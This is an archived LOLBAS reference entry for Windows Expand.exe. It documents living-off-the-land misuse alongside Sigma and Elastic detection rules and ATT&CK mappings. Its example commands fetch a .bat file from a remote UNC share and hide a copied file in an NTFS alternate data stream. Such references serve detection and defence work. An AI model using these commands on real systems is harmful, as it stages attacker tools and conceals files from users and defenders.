

Expand on LOLBAS

Archived: 2026-04-05 20:54:01 UTC

../Expand.exe

Binary that expands one or more compressed files

Paths:

- C:\Windows\System32\Expand.exe
- C:\Windows\SysWOW64\Expand.exe

Resources:

- <https://twitter.com/infosecn1nja/status/986628482858807297>
- <https://twitter.com/Oddvarmoe/status/986709068759949319>

Acknowledgements:

- Rahmat Nurfauzi ([@infosecn1nja](#))
- Oddvar Moe ([@oddvarmoe](#))

Detections:

- Sigma: [proc_creation_win_expand_cabinet_files.yml](#)
- Elastic: [defense_evasion_misc_lolbin_connecting_to_the_internet.toml](#)

Download

1. Copies source file to destination.

```
expand \\servername\C$\Windows\Temp\file.bat C:\Windows\Temp\file.bat
```

Use case

Use to copies the source file to the destination file

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

[T1105: Ingress Tool Transfer](#)

Copy

1. Copies source file to destination.

```
expand C:\Windows\Temp\file.source.ext C:\Windows\Temp\file.dest.ext
```

Use case

Copies files from A to B

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

[T1105: Ingress Tool Transfer](#)

Alternate data streams

1. Copies source file to destination Alternate Data Stream (ADS)

```
expand \\servername\C$\Windows\Temp\file.bat C:\Windows\Temp\file.ext:file.bat
```

Use case

Copies files from A to B

Privileges required

User

Operating systems

Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique

[T1564.004: NTFS File Attributes](#)